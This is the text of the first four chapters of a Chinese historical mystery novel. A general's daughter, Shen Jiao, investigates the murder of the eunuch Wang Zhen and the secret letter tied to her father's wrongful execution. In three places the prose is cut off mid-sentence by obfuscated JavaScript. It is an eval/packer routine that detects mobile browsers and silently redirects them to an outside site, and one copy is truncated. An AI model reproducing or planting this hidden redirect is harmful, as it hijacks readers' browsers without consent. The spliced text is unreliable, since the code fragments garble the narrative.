《华筵录》 1. 第 1 章 昭定十二年，仲秋。 “姑娘，你终于醒了。” 沈皎悠悠转醒，抬头望向四周，气弱声嘶地问: “这是何处？” “姑娘，我们已经到京城了。” 沈皎意识回笼，这才忆起，此处是她让陆林提前赶来京中凭下的宅院。 “姑娘，你先歇息会，我去给你熬些粥来。” 沈皎虚弱地嗯了一声，烧了一夜，衣服湿透，骨软筋酥，未好好进食，此刻，连说句话也费力。 从凉州出发足足赶了快一个月的路程，京师夜间气候寒凉，刚一进京师地界，沈皎便染上了风寒。 沈皎喝完翠蕊端来的粥，换了身干爽的衣物，恢复了些气力，便去让翠蕊唤陆林过来。 翠蕊将装好的手炉递给沈皎，应声而去。 少顷，陆林走进屋中，行了一礼，道: “姑娘。” 沈皎绕过寒暄，单刀直入说起正事:“这几日在京中可查到王振的下落？” “属下到京城后，便托先前在军中的弟兄暗中打听王振的下落，昨日才有消息传来，王振前些日子因得罪陛下宠爱的万贵妃遭陛下厌弃被逐出宫后，栖身在一座寺庙中。得讯去时，寺中的僧人却说王振昨夜已被潜进寺中偷盗财物的盗贼杀了。” 沈皎此行回京，是为查一桩一年前的旧案。 一年前。突厥军队趁大周内忧外患之际，举兵十五万入侵大周，一路势如破竹，略地侵城，不到半年，便占领了大周数座城池，眼看要突破关险，直逼京师而来，危亡关头，景惠帝下令让她父亲从合州率兵前往嘉庸关驰援。 她父亲带领的合州军和嘉庸关守军协力，多次击退突厥的进攻，以近乎全军覆灭的代价，才让突厥撤军，在风雨飘摇中，保住了京师。 景惠帝生性多疑，派身边的亲信太监至嘉庸关监军。那太监因她父亲耿直，未曾巴结他，回宫后却向景惠帝诬陷她父亲怯敌避战。 景惠帝从而听信谗言，冤杀了她父亲。 她父亲死前，将她托付给了在军中的好友。 一夜间，她家破人亡。 前来监军的太监便是王振。 王振一死，线索便全断了。沈皎垂眸，寒意扑面，将手中的手炉揣紧，隐隐总觉王振的死不似表面上那么简单。 她抬起头问“那寺庙叫何名，在何处？” “祈安寺，就在城中的槐花巷内。” “我知道了，你先下去吧。” 陆林转身离开。 翠蕊将熬好的药端进屋中，递给沈皎，见沈皎面色仍有些苍白，劝道: “姑娘，你身子还很虚弱，快喝了药躺下歇息会吧。” 沈皎喝完药，掀开被子坐起身，打算假借游玩之名亲自去祈安寺走一趟，看能不能寻到些线索，梳洗一番后，戴上帷帽坐上马车出了门。 车外人群熙攘，吆喝声此起彼伏。街头闾阎扑地，酒肆林立，与凉州大有不同，光是坐在车内凝听，便已能真切地感受到京师的繁华与祥和。 翠蕊掀开帘子，望着街头的盛况，百感交集地放下车帘，收回手，眼中全是欣羡的目光。 “姑娘，京师果真繁华，凉州若也能如京师一般便好了。” 沈父身死后，沈皎便被接到了凉州生活，凉州地处嘉庸关与合州边界，嘉庸关一役后，突厥虽因战败，无奈罢战息兵，却仍贼心不死，隔三差五发兵侵扰。 凉州的百姓，日日生活在担惊受怕中，城内的物资也皆用来御敌极度缺乏，别说这般安乐恣意的生活，每逢战事来临，三饥两饱更是常有之事。 沈皎将手中的书翻过一页，未抬头，声音轻的如微风拂过。 “会有那么一日的。” 马车停在寺门口，沈皎置下书，戴好帷帽，在翠蕊的搀扶下，踩着马凳从马车上下来。 寺门口来上香的人络绎不绝，似并未因命案受到多大影响，两人步入寺内，随着众人在殿内上了一炷香，捐了些香油钱，出了大殿，时不时瞥见有身穿蓝衣的衙差从后院出入。 沈皎沿着小径刻意往那边走，见屋前有官差看守，敛足借屋舍前的竹林掩住身形。 两个官差从后院走出，毫无顾忌地交谈，一时说得投入，未发觉竹林后有人。 “这王振竟做出如此禽兽不如之举，那芸娘也真可怜，好不容易出宫嫁了人，还要被这老畜生欺辱，也不知这王振素日在宫中身上有没有其他命案官司。” “大人说此案真凶另有其人，先回大理寺吧。” 沈皎听闻此案果真如先前所想不简单，待两人走远，未作停留，转身和翠蕊离开。 沈皎走后，后院内的屋舍中走出一个白衣公子来。 那白衣公子生得眉清目朗，腰间挂着一枚名贵的玉佩，一副温润如玉世家公子的模样，通身的气质却凛不可犯，让人望之生畏。 一个黑衣人凭空出现，持剑跪地。 “世子，您要寻的那位姑娘有线索了，暗卫在合州多方打听。沈将军死后，沈小姐便被人从合州接走了。” 谢淮若有所思地端量着指尖的几枚铜钱，闻言放下手，他暗中早已查过沈家的族谱，沈母因病早逝，沈家几辈人皆是草莽出身，人丁凋敝，三族余下之人也在一场天灾中饿死了，根本没有可投奔的亲眷，古井无波的面上浮起一抹微不可察的担忧之色。 “被何人接走的?” “眼下还未查到，应是为了沈姑娘的安危考虑，沈姑娘的行踪被严密保护了起来。” 谢淮沉吟片刻，掩去面上的表情，神色恢复如常，淡淡开口。 “让暗卫继续寻访，务必要找出她的下落。” 黑衣人领命离开，眨眼间，消失在原地。 沈皎出了寺庙，上了马车，马车缓缓向宅院驶去。 翠蕊见一路上见沈皎一言不发:“小姐，怎么了？” 沈皎端起茶，啜了一口，道出心中的疑惑:“那个芸娘我总觉得不对劲。” 从两个衙差方才的交谈中，若杀王振的真凶真另有其人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858880|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太监因身有残疾，离宫回乡后也只会遭人物议，有权势的太监便会用银钱为自己提前寻一处容身之所，寺庙便是他们能选择的较好归宿之一。 一个被逐出宫的太监，困顿不已，素日靠寺中周济维持生计，因财杀他这理由明显有些牵强。 “可芸娘？纵使有作案动机，她也只是一个弱女子。” 沈皎冷静道：“一旦人被逼到绝境，是任何事都做得出来的。” 翠蕊未再出声回驳，王振所为的确令人发指，那两位狱卒口中的大人，办案手段似是十分了得，迟早也会洞察这一点，既担忧芸娘的境况，又同情芸娘的遭遇。 沈皎看到翠蕊脸上的担忧，心知她是在同情芸娘，未再说话。 马车在宅院前停下，两人从车中下来，一回到屋内，沈皎便命陆林去打听芸娘的居所，盯着芸娘。 一处屋子中，芸娘颤巍巍地将一个破布包裹，藏进炕洞中，用砖头封好，忖前思后，似顿觉这处也不妥，又取出包裹。 “芸娘，出来吃饭了。” 屋外传来一道唤声，芸娘在屋中东张西觑一番，还是将目光转向了之间的炕洞，慌忙应了声。 “好，这便来。” 芸娘藏好包裹，在桌前落座，方欲下箸，一阵敲门声从外兀突响起，她心里咯噔一声。放下碗筷抬头警惕地望向门口。 从灶间走出一个书生模样的男子，男子听到屋外的声响，以为又是衙差登门要问讯案情，对芸娘正色道： “芸娘，你先进屋。” 门良久未开，屋外的敲门声戛然而止。 那日，芸娘无意中在窗外听到王振和黑衣人的谈话。见那黑衣人一身剑客打扮，正在寻找一封密信，她不愿再委身于王振，便提前找到黑衣人，并提出用密信作为交易条件，只要黑衣人能成功帮她杀掉王振，她愿意交出密信，事后，她与黑衣人约好了今早在城外的破庙碰面。 不料她昨夜回到屋中，将信放在桌上，起身时不慎打翻了茶水，信被浸湿，她慌忙中取出信，才发现这封密信竟然事关一桩惊天冤案，故而，改了主意，没有去赴约。 屋外之人虽未表明身份，但芸娘却知，来人是那日的黑衣杀手无疑，不是他们两人能对付的，今日即便交出信，亦难逃一死，她凄楚地看向身旁的瘦弱书生，痛疚不已。 “对不起，夫君，恐怕要连累你了。” “娘子，夫妻本是一体，理应患难与共，何言连累。” 两人话音刚落，一道身影凭空而至，出现在院中，黑衣人执剑而立，神情冰冷地望着两人。 “看来夫人是想毁约，不愿交出密信了。” 芸娘从下决心同黑衣人做交易那刻起，便存了死志，若此案查到她头上，这信便是她唯一能和那位冷酷无情的大理寺卿谈判和牵制住黑衣人的筹码，匆忙将夫君牢牢护在身后，了无惧色道： “毁约是我有错在先，但信现今被我藏在一个谁也不知道的地方，若今日公子杀了我，那便永远拿不到那封密信了。” 2. 第 2 章 黑衣人望着芸娘，眸中杀意腾涌。拇指一动，左手的剑已出了半鞘。 千钧一发之际，一枚飞石猝不及防破空而来，直逼向黑衣人面门，黑衣人匆促拔出剑打落飞石，看向飞石射出的方向，屋檐那处虽空无一人，却已心生顾忌，深知再纠缠下去，恐会闹出动静，将周围人都引来，收回剑未敢再贸然动手。 “今日姑娘既有人相助，那此事便暂且作罢，但愿姑娘不会为自己今日的选择后悔。” 黑衣人冷冷说罢，不甘转身离去。 芸娘从死里逃生，舒了口气，望着地上的飞石，跪在地上感激地对着屋顶道： “多谢恩公，救我和夫君一命。” “夫人不必多礼。” 陆林将院中的一切尽收眼底，冷淡地说了一句，说罢，见那黑衣人离去，随后回到宅院中，将方才在芸娘家和耳闻目见打听来的消息详述给沈皎。 “芸娘父母早逝，有个夫君叫陈志，是个落魄秀才，两人很恩爱。” 屋中燃着火盆，暖意融融，沈皎坐在椅子上，放下手头兵书，神色自若，对芸娘是幕后凶手这件事并未过多惊讶，思忖一番。 黑衣人既肯为密信不惜去帮芸娘杀人，那封密信里定然藏着些不可告人的秘密和王振的死脱不了干系，她得赶在大理寺之前拿到那封信。 “将芸娘请过来，就说我想同她谈笔划算的交易。” 陆林应声离去。 翠蕊不解道:“姑娘，你要同芸娘做什么交易？” 沈皎知翠蕊对芸娘怀有恻隐之心，她实则也有些佩服那芸娘，此事若换作她，以她的性子，恐也只会做得有过之而无不及，不会等到被欺侮的忍无可忍时才动手，在最初便会设计铺谋让那人生不如死。 “待会儿你便知道了。” “那芸娘会答应吗？” 沈皎先前也不敢笃定，但如今芸娘可谓头上悬剑，背腹受敌，信在她手上，便犹如一道催命符。 “为了她的夫君，她会答应的。” 衙差回到大理寺后，没过多久便看到谢淮也回来了，忙起身迎上前。 “大人，此案的案宗已整理完毕，您现在可要看？” 谢淮走进屋内，幽思间，神情淡淡地瞥了一眼归整好的案宗，径行至案前落座，抬头沉声道： “你们前去盯着那芸娘，若有任何异样及时来报。” 两人面面厮觑，虽不知谢淮这般的用意何在，但还是奉令去了。 黑衣人被迫离开后，定不会就此善罢甘休，不知何时便会再次上门。 芸娘手忙脚乱地在屋中开始收拾东西，为之后做打算，悉数取出这几年存下的银钱，清算一遍，装入一个绣着两只鸳鸯的钱袋中，拉好束口绳，同几件干净的衣物放进包袱中，随后便出了门。 陆林行往芸娘的住处，途经一家药铺时，恰巧碰到芸娘从药铺中买药出来，步履上前将人拦住。 “夫人，烦请留步，我家姑娘想请你前去府中一叙，有事想同夫人相商。” 芸娘提着买来的干粮敛住步子，听出陆林是之前救自己之人，闻言，不知所以道： “恩公，你家姑娘是？” “夫人一去便知。” 芸娘本打算待会儿送陈志出城，瞧了眼天色，因陆林的相救之恩，却并未拒绝。 陆林带芸娘穿街走巷回到宅院。 “姑娘，人已请到。” 沈皎正披着大氅和翠蕊站在院中透气，微微颔首，瞧见两人走进院中，拢了拢身上的大氅，出声吩咐翠蕊去准备热茶。 “屋外寒凉，不是说话之地，先进屋喝口茶暖暖身子。” 芸娘凝眸看向立在屋前的沈皎，见沈皎气质不俗，性情随和，似并无恶意，这才迈开步子。 俄而，翠蕊拎着烧好的热茶进屋，给两人倒了杯热茶，将屋门从里阖上，回到沈皎身旁伺候。 沈皎看着芸娘，率先开口，直言不讳地道: “此次冒昧邀夫人前来，是想同夫人谈一笔买卖。” 芸娘闻言，戒备地望向沈皎。 “不知姑娘想和我谈什么买卖？” 沈皎不再绕弯子，将自己的目的道出。 “夫人是个聪明人，我知晓夫人是打算投案，欲用自己手中那封信同大理寺做交易换夫君平安，若夫人愿将信交给我，我可以让人送夫人的夫君和夫人安全离开京城。” 芸娘未想到沈皎竟也是为那封密信而来，沈皎开出的条件着实很诱人，她本打算明日前去大理寺认罪。用信做筹码，以此求大理寺护佑她的夫君，但此举却终究太过冒险，那封密信牵扯朝中的多个官员，她也拿捏不准那位大理寺卿的态度，是否会为了昔日的一桩冤案，而答允她的请求。 “我若将信交给姑娘，姑娘真能安全送我和我夫君出城。” 沈皎见芸娘持疑不决，出声给她吃了剂定心丸，打消她的顾虑。 “夫人放心，今夜我便会让我身边的护卫将你们安全送出城。” 芸娘现今在京中处境凶险，一边要应付大理寺的衙差，一边还要日日活在黑衣人的威胁之下，王振这个案子牵扯的势力盘根错节，眼下最好的法子确实是离开京城。 “如此那我便信姑娘一回，只不过须得等我安全出了城后，我才能将信交给姑娘。” 沈皎点头应许。 约好碰面时辰。沈皎便让芸娘回去准备，届时会让陆林在宵禁之前护送他们出城。 芸娘出声作别，沈皎站在廊檐下，目送芸娘离开，掩嘴轻咳一声。 华灯初上，暮色降临，街巷中人来人往。翠蕊将院中的石灯依次点亮，吹灭火折子，听到咳声。 “姑娘，屋外冷，还是进屋吧。” 沈皎站在原地久久未动，回想起那黑衣刺客，心底却总隐隐难安。 “翠蕊，你去车铺租两辆马车，先行在城门口候着。” “是，姑娘。” 翠蕊正欲举步前去，便看见本该护送芸娘出城的陆林又踅回来了。 陆林神色凝重地走进院中。 “姑娘，不好出事了，属下护送芸娘回到居所，进院中却看到院内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858881|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地上躺着两具尸体，看衣着打扮，应是大理寺的官差，屋中到处都有被翻找过的痕迹，芸娘的夫君也不见了。” 沈皎还是低估黑衣人的能力和手段了，未料到，黑衣人为了密信竟敢丧心病狂至此，在天子脚下罔顾法度杀人。 “芸娘如今怎么样了？” “属下本想带芸娘一起回来，芸娘不愿，便径自回来了，回来时，恰好碰上大理寺的人，大理寺现下应已经将尸体和芸娘带走了。” 芸娘最初答应这笔交易，是为了夫君的安危，迫于无奈，如今变故突生，一波未平一波又起，她的夫君却生死不明，不知去向，交易明显已经做不成了。 “姑娘现在该怎么办？” 沈皎凝思片刻:“黑衣人为密信如此不择手段，在没拿到密信之前，芸娘的夫君暂时还是安全的，只要她不认罪，大理寺若还未找到证据，她暂且便不会有事。” 陆林知晓沈皎的脾性，绝不会对此事袖手旁观，担忧黑衣人恐怕还留有后手。 “姑娘，属下这便让人去安排。” “切记万事小心。”沈皎叮嘱道。 “是。” 陆林说完，身影转身消失在原地。 大理寺内气氛沉闷又压抑，后院大堂中摆放着两具用白布遮盖的尸体。 两个衙差站在尸体旁，悲不自胜，眼错间瞥见一抹白色身影，忙敛容行礼。 “拜见大人。” 谢淮闻讯而至，踱步上前，伸手相继掀开覆在尸体上的白布，视线掠过两人惨白僵冷的面容，又轻轻将白布放下。 “可传仵作来验过尸？” 其中的一个衙差道:“禀大人，传过了。仵作说是被凶手一刀刺穿要害，当场毙命，死亡时间大概在半个时辰之前，属下接到报案赶去后，现场有明显的打斗痕迹，芸娘的夫君也不知所踪。” 谢淮目光从尸体上移开，转过身，古井不波道: “芸娘呢？” 谢淮语调听似如常，没什么起伏。两人却从中听出了一丝冷意，谢淮虽上任不久，但经过这半月的相处，多少摸清了谢淮的脾性，这位身世煊赫的世子殿下，面上看起来尘外孤标凛若冰霜，私下却与人无忤。 “芸娘被带回后现押在府衙中。” 谢淮问罢，一言不发径直离开了大堂。 芸娘心不在焉地跪在堂下，担忧夫君安危，连高堂上坐了人也未曾察觉，直到大堂上传来一阵窸窣的声响，才回过神，恓惶俯伏行礼。 “民妇拜见大人。” 谢淮端坐在高堂上，半垂着眸子，居高临下望着堂下的人，声音清冷:“半个时辰前你在何处？” 芸娘和沈皎的交易虽未竟，却并不想将沈皎牵扯进来，凄入肝脾，应对道： “民妇近来身体不适，去城东的诚源药铺买了些药，回到住处后，便看到两位官爷躺在地上，夫君也不见了。” 谢淮疑信参半，使了个眼色，示意身旁的衙差去药铺核验芸娘的话。 “本官听闻你昔日在宫中为婢时，便同王振多有不睦。” 3. 第 3 章 芸娘听出话中的试探。那日被传唤时说的话。谢淮看似无所可否，实则并未全信，心中怕早已起疑，但她现在还不能入狱，泣声道: “禀大人，民妇是曾和王振在宫中生过龃龉，但杀人这等事是万万不敢做的，贼人闯入民妇家中，犯下命案，民妇的夫君现今还生死不明，还恳请大人为民妇做主。” 谢淮疑心王振的死是芸娘所为，却未找到确切的证据，三人身上的致命伤皆是利刃所为，凶手会武，且武力不低，芸娘身材瘦弱，明显力所不及，两桩命案的凶手应是同一人。 他缓缓起身，开口道: “本官已派人探查你夫君的行踪，若一有消息便会派人前去通知你。” 芸娘诧异地用余光瞥了谢淮一眼，未想到他会这般轻易放她离开，从地上起身。 “多谢大人，民妇告退。” 一旁的衙差走上前:“大人，就这般让她走了？” 芸娘分明和两桩命案有千丝万缕的联系，若回去自此逃匿，所有的线索一下都断了，此案便会成为悬案。 谢淮不动声色目送芸娘离开，掏出令牌递过去。 “你带几个探子盯着芸娘，有异样及时让人来报，若遇难处便去请城中的禁军帮忙。” “是。” 衙差接过令牌，这才顿悟过来，谢淮故意放芸娘离开，意在引蛇出洞。 先前去药铺核定消息的衙差回到府衙。 “大人，属下去药铺问过了，芸娘先前的确因身体不适去过药铺，但药铺门口的伙计说，芸娘在出了药铺后没过多久，便跟着一个长相魁梧的黑衣侍卫离开了。” 那夜潜进寺庙杀人的也是一个黑衣人，很难不怀疑两者间有什么关联。 “我知道了，你先退下吧。”谢淮淡淡道。 异日，沈皎起了个大早。 翠蕊急步走进屋中:“姑娘，奴婢洒扫时，屋外忽地跑来一个乞儿塞给了奴婢一张纸条，说是芸娘托他送来的。” 沈皎闻言接过纸条，展开一看，上面的字歪歪扭扭，字迹也十分潦草，细看之下依稀可辩，在破，黑，申，谢。 她若有所思地望着纸条，纸条上的字迹一看便是不常读书之人所写，每个字有头无尾字意不连贯且只写了一半，思虑了一会。见芸娘仍愿同她合作，放下纸条。 陆林从屋外带着两个身材魁梧的男子走进院内。 “姑娘，这两位是将军之前的部下，一听说姑娘回来要为将军申冤，便趁着休沐过来拜见一下姑娘。” 沈皎思绪回笼，望向两人，陆林既带两人来见她，必是可信的，心中一股暖流淌过，感激地道: “多谢两位大哥了。” “姑娘，言重了，我们这条命是昔日将军在战场上救下来的，将军对我们恩重如山，先前听闻将军之事，我等皆觉心寒，一直想为将军做些什么。” 沈皎将两人请入屋，推度出芸娘是在暗示黑衣人约她交易信的时间和地点，言简意赅阐明了一下目前的情况。 “姑娘放心，我们知道怎么做了，必将那位公子救出来。” 黑衣人连大理寺都未放在眼里，势必为交易做了万全的准备，难免不会留有后手。沈皎嘱咐道：“几位大哥尽力便好，安危为先。” “是，姑娘。” 两人说罢，便动身跟着陆林前往城外的破庙埋伏。 探子寸步不离一直在隐蔽处盯着芸娘屋前的动静，见芸娘打开屋门走到街上，拦住巷中的一个乞儿，交给乞儿一个东西和几枚铜钱。 三人见状，面面相觑一眼，心照不宣，两个人留下继续盯着芸娘，另一个则起身跟了上去。 探子见乞儿穿街越巷走进一条偏僻的巷子里，敲开一家门户，交给了一个绿衣丫鬟一个东西，随后离开，忙将此事回至府衙禀报。 谢淮闻言微微一怔，面上云淡风轻，头也未抬。 “不要打草惊蛇，继续盯着即可。” “是。” 午膳后，沈皎似往常般安坐在屋中看书，却总心不在焉，她叩下书，揉了揉泛疼的眉心。 翠蕊见状，递上一杯热茶:“姑娘，快歇息会吧。病还未痊愈，勿要劳心费神了。” 即使有陆林他们跟着，沈皎仍不放心。收回手，呷了口茶，轻声道: “翠蕊，去让人备车。” “姑娘，大夫说你现在的身子不能见寒，还是在屋中等……” 未等翠蕊说完，沈皎便率步向门口走去。 翠蕊见状，吩咐完车夫，回屋取了披风，急步至门口贴心地给沈皎披上，以免她再度受寒。 芸娘从屋中出来，背着包袱锁上门，涌进人群。 两人一路跟着芸娘出了城，站在城门处，见芸娘往东而去，声音慌乱。 “我继续跟着芸娘，你快回去禀报大人。” 芸娘出城后走了一段距离，陆林持剑从一侧树林中现身，将芸娘护送至破庙附近。 “夫人，我们家姑娘已在破庙周围安排好了人，夫人只管进去不必恐慌。” 芸娘心知肚明，此事利少弊多，恐还会危及性命，沈皎虽助她是为了密信，心中仍十分感激。 “多谢恩公，若有机会，我定会报答你家姑娘。” 探子回到府衙，将芸娘的动向禀告谢淮。 谢淮放下卷宗，抬起头，见芸娘要逃，冷声吩咐。 “将令牌交给在城中巡逻的禁军，请他们协助前往抓捕凶犯。” “是。” 芸娘走进破庙中，看向被黑衣人挟持在手中的陈志，担忧地喊道: “夫君。” 口不能言的陈志蓬头垢面，双手被缚，嘴巴塞着布条，双目猩红地望着芸娘，只是一味拼命摇头。 “别动，再动休怪我不客气了。”黑衣人见陈志不老实，将手中的利刃往颈前移了半寸，冷冷看着芸娘。“信呢？” 芸娘手忙脚乱从袖中取出信，作势欲上前，却被黑衣人出声喝止。 “将信放在地上，往后退。” 有了上次的前车之鉴，黑衣人这次明显谨慎了起来，芸娘放下信，依言照做。 黑衣人上前取走信后，眼中却杀气腾腾，出尔反尔并未放人:“别怪我，要怪就怪你听到了太多不该听到的事。” 芸娘意识到黑衣人要斩草除根以绝后患，心顿时提到嗓子眼，颤声立誓:“此事我夫君从头到尾都是无辜的，求求你，别…别伤害他，我发誓绝不会将听到的事说出。” 陆林瞥见黑衣人打算杀人灭口，趁着黑衣人注意力被芸娘吸引的空隙，从地上捡起一颗石子，用作暗器，击向黑衣人。 黑衣人右手手腕被石子击中，猛地剧烈一痛，手中的武器脱力掉落在地。 陈志趁机挣脱黑衣人挟制，疾步跑向芸娘。 陆林三人从匿伏处出其不意现身，拔出剑，上前将两人护在身后。 黑衣人捂住伤处，神情痛苦，见芸娘不是一人前来，吹了一声口哨，唤出潜藏在寺庙周围的死士，冷声下令。 “杀了他们。” 死士听到命令，纷纷冲涌而出，从四面八方操着刀朝几人冲了过来。 陆林几人到底在战场上身经百战，即使面对数倍于己的敌人，也未临阵退缩过，但这群黑衣人招式狠辣，个个训练有素，明显不是普通的杀手。 三人将吓得面色惨白的芸娘和陈志牢牢护在身后，边战边退，奋力抵挡着黑衣人凶猛的攻势，一面应敌一面又要顾忌芸娘两人的安危，时间一长，难免有些分身乏术力不从心。 “两位大哥，带他们两人先走，我来垫后。” 一番苦战后，空气弥漫起一股腥腻的血腥味，三人手臂胸前均不同程度被暗器划伤，陆林见这样下去，他们只怕谁都走不了，出声道: “不行，要走一起走。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858882|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就在几人僵持不下时，耳畔突然响起一阵哒哒的马蹄声。 顿时，双方皆停止了打斗，不约而同向身后望去。 不远处，尘土飞扬。一行披甲执锐的官兵朝这边疾驰了过来。 黑衣人眯眸抬起头望向马背上的那抹白色身影，神色勃然一变。 “不必管那几人，先杀了那女人。” 围在芸娘不远处的几个黑衣人听到命令，迅速移易位置，纷纷抬手将袖中的暗器对准芸娘，按下开关。 暗器从四面八方飞来，大部分的暗器被一旁的陆林挥剑击落，仍有小部分防不胜防飞向了芸娘。 “危险，娘子，快躲开。” 同在一旁闪避暗器的陈志瞳孔一缩，眼疾手快径直挡在了芸娘身前。 陈志被飞来的暗器击中，眼前发黑，身体不由自主向后倒去。 芸娘见状，五内俱崩，眼泪瞬间夺眶而出，双膝跪地，手忙脚乱将陈志抱在怀中，不住用手拭去陈志嘴角溢出的鲜血，泣不成声。 “夫君，夫君，你怎么样？别吓我。” “娘子，你没受伤吧。”陈志奄奄一息地询问芸娘。 飞来的暗器尽数被陈志用身躯挡住了，芸娘摇摇头，手忙脚乱抱住怀中的人。 “夫君，你坚持住，我这就带你回去找大夫。” “娘子，我不行了，他们给我喂了毒药。” 芸娘正欲开口说些什么，却被怀中的陈志出声阻止。 “娘子，承蒙不弃，这辈子有幸能同你结为夫妻，是我的福气，下辈子…仍能盼与娘子再续前缘，共携白头。” 芸娘一边流泪懊悔，一边道歉:“对不起，对不起，夫君，是我害了你。” “娘子，一定要…好好活下去。” 陈志声音渐渐弱下去，不舍地阖上了眼睛。 “夫君…” 芸娘在原地悔恨地抱着陈志的尸体痛哭出声。 陆林冲上前，杀掉那几个朝陈志发射暗器的死士，将芸娘护在身后。 黑衣人正欲就此罢手，带人撤退。 谢淮在探子的领道下带着禁军赶到。 禁军里三层外三层举起武器将在场的人围的密不透风。 为首的禁军斥喝道:“放下武器。” 陆林望着面前严阵以待的禁军，审时度势放下手中的武器。 黑衣人置若罔闻，却未束手就擒放下武器，反而打算孤注一掷负隅顽抗到底。 谢淮坐在马背上居高临下打量着在场的人，寡淡的目光先从离得最近的陆林几人身上扫过，瞥了一眼地上横七竖八的尸体和一脸生无可恋的芸娘，最后落在黑衣人身上。欲将黑衣人拿下后，全部带回大理寺审问，慢斯条理道: “尽量留活口。” 黑衣人先前经历过一场大战，此刻同禁军又对上，无疑以卵击石，没几个回合，便相继被擒。 一辆马车急速驶来，在众人面前缓缓停下。 沈皎踩着马凳，在翠蕊的搀扶下从车中走出来，望着死去的陈志，一言不发款步到芸娘身前，面色沉重地将自己身上的披风解下，披在芸娘身上，抬头看向谢淮。 “见过大人。不知大人可否通融一下，先让我这表姐将夫君带回城中安葬。” 谢淮打量着沈皎，对于沈皎这个突然出现的“表妹”，视线停留在沈皎的动作上，并未出声让人阻止。 沈皎来的路上听城中人都在议论禁军出城抓逃犯的事，为了不让人对自己的身份生疑，便提前想好了措辞，冒充自己是芸娘最近进城探亲的表妹。 案子还未水落石出，谢淮漠然道: “尸体得先带回府衙，仵作验尸之后，方才能让亲属带回，芸娘事牵三桩命案，需得回到大理寺接受讯问。” 这般虽说有些不近人情，却也是正常的办案流程。 “那便辛苦大人，让人将我这表姐夫带回城中了。” 4. 第 4 章 谢淮从沈皎身上缓缓移开视线，望着庙前的死士，正欲下令让人将其和陆林等人一同带回大理寺。 被擒的死士自知已再无可能逃脱，杜口吞声，心照不宣咬碎藏在龋洞中的毒药。 “拦下他们。” 谢淮依凭面相瞧出这些死士要自尽，忙出声让人阻止。 说的终究还是迟了一步，死士们接二连三毒发身亡倒在了地上。 黑衣人待手腕上的疼痛减缓，趁所有人目不转睛，注意力都放在地上的死士身上，眼乖手疾托起左手，利用袖中的暗器射杀身侧制住他的禁军，施展轻功，跃上屋顶，逃离了破庙。 制住黑衣人的禁军被暗器射中喉咙，瞪大双目，倒地而亡。 众人听到异响，连忙回过神。 “世子，属下这便命人去追。”禁卫统领惊慌失措道。 谢淮望向黑衣人离开的方向，却未让人去追。 这些死士都是经过特殊训练的，能在京中豢养这么多死士，幕后之人身份肯定非富即贵。 “不必，先将尸体和这些死士带回府衙。” 沈皎寸步不离静静地陪在芸娘身侧，表情严肃。 芸娘迄今为止，便一直一言不发失魂落魄地抱着怀中的尸体，枯坐在地，整个人也宛若随之死去了一般，眼眶红肿，生机全失。 两个禁军上前，似是来搬运尸体，见芸娘这般，面上露出一抹难色。 沈皎见状及时为两人解难:“芸娘，先将尸体交给他们，我们先回去。” 听到沈皎的话，芸娘这才如梦初醒，恢复神智，缓缓收回手。 沈皎和翠蕊俯身扶起芸娘，后退几步，让两人抬走尸体，将芸娘扶向马车。 马车跟着禁军，粼粼驶向城中。 车中铺着褥子，一点也不觉得晃。沈皎将手炉递给芸娘。 “不必，多谢姑娘。”芸娘望着沈皎苍白的面色，声音嘶哑地道着谢。 沈皎收回手，忆起谢淮那张冷酷无情的脸，知芸娘悲恸欲绝，没有心思再去应付大理寺接下来的审问，将此案在脑中过一遍，为芸娘出谋划策。 “待会儿回到大理寺，若那位大人诘问。夫人莫怕，只管将实情讲出来便是。” 讲出实情？芸娘不解地望向沈皎，不知为何要让她这般做。 她做这一切，本就为了她夫君。如今她在这世上孤身一人已经没有什么可惦念的了。 按大周律例，谋杀人者，徒三年；已伤者，绞；已杀者，皆斩。她已是死罪，并不想徒劳挣扎。 “王振是我让人杀的，我会认罪伏法，多谢姑娘。” 沈皎了然，亲近之人死在自己面前的锥心之痛，芸娘一时因夫君之死不能自拔，万念俱灰，丧失了生志，也无可厚非。 黑衣人能调动那么多死士，背后之人绝不简单，杀王振也不只是为那封密信因和芸娘的交易，或许说不准还另有目的，此案并非道尽途穷，仍有转圜的余地。 “就算不为自己，你夫君也定希望你能好好活下去。” 芸娘未再说话，眼神空洞，只是一心求死，似乎并未听进去沈皎的劝慰。 沈皎见芸娘听不进去，没有再劝。 马车进城后在大理寺门口停了下来，芸娘临下马车前，从包袱中取出信，递给沈皎。 芸娘交给黑衣人的那封信只是一个空空如也的信封，真正的信早被芸娘取了出来，藏在了包袱中。 沈皎拿到信，面上并未有欣喜之色，满是担忧。 